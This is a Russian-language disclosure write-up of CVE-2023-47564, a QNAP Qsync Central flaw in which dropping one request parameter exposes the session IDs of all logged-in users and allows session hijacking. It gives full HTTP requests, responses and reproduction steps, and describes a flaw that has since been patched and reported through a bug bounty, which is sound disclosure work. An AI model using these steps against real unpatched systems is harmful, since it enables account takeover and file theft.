
CVE-2023-47564
«Сообщается, что уязвимость, связанная с неверным назначением разрешений для критического ресурса, затрагивает Qsync Central. В случае эксплуатации уязвимость может позволить аутентифицированным пользователям читать или изменять ресурс через сеть.»
Дата обнаружения: 5 декабря 2023 г.
Дата исправления: 3 февраля 2024 г.
Затронутые версии: Qsync Central 4.4.x, Qsync Central 4.3.x
Исправленные версии: Qsync Central 4.4.0.15 (04.01.2024) и новее, Qsync Central 4.3.0.11 (11.01.2024) и новее
Краткое описание:
Во время недавнего пентеста я получил доступ к системе QNAP как пользователь с низкими привилегиями (здесь user123). Интересных файлов не было, поэтому я копнул немного глубже.
В системе работало только приложение Qsync Central (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer).
Сначала я попытался найти список всех доступных пользователей и просмотрел свою историю прокси. Я наткнулся на конечную точку /cgi-bin/qsync/qboxRequest.cgi.
Эта конечная точка раскрывала информацию о моей текущей учётной записи и, собственно, мой текущий идентификатор сессии (sid).
Запрос выглядел так:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Ответ был:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
Интересным оказался параметр filteruser. Я просто удалил его — и, к моему удивлению, был возвращён список всех пользователей и их идентификаторов сессий!
Таким образом, я мог перехватить сессию любого другого вошедшего в систему пользователя. Для PoC я использовал одну из сессий, чтобы войти как другой пользователь.
Я сообщил об уязвимости в программу Bug Bounty QNAP. Общение было лёгким, и исправление было развёрнуто быстро.
Шаги по воспроизведению (подробно):
Войдите в веб-приложение QNAP Qsync как атакующий с обычной учётной записью с низкими привилегиями.
Извлеките идентификатор сессии атакующего (sid) из cookie NAS_SID, установленного веб-приложением Qsync.
Используйте значение sid атакующего как в cookie NAS_SID, так и в параметре HTTP GET sid, и выполните следующий HTTP-запрос:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Действительные идентификаторы сессий всех других пользователей, в данный момент вошедших в веб-приложение, можно извлечь из HTTP-ответа, например:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
Следующий скриншот иллюстрирует эту проблему (по соображениям конфиденциальности идентификаторы сессий, а также идентифицирующая информация о тестируемом экземпляре QNAP Qsync были скрыты):
![]() |
|---|
| Утекшие значения идентификаторов сессий |
Атакующий может использовать извлечённые значения sid, чтобы войти как любая из жертв, установив соответствующий cookie NAS_SID. Это позволяет атакующему перехватить сессию жертвы и загрузить любой файл, хранящийся в системе QNAP жертвой.